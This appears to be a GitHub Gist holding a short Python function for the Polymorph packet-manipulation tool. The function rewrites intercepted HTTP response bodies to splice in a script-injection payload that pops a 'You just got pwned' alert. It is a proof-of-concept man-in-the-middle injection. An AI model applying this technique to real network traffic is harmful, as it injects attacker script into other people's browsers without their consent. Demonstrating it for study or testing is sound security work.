Created
April 23, 2018 14:02
-
-
Save shramos/18bee768611bd0cad13909dd80553282 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def mod_http_val(packet): | |
data = packet['RAW.HTTP']['file_data'] | |
payload = '"><script>alert("You just got pwned with Polymorph!")</script>' | |
plen = len(payload) | |
start = len(data) - plen + 1 - 16 | |
stop = len(data) - 16 | |
packet['RAW.HTTP']['file_data'] = data[:start] + payload + data[stop:] | |
return packet |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment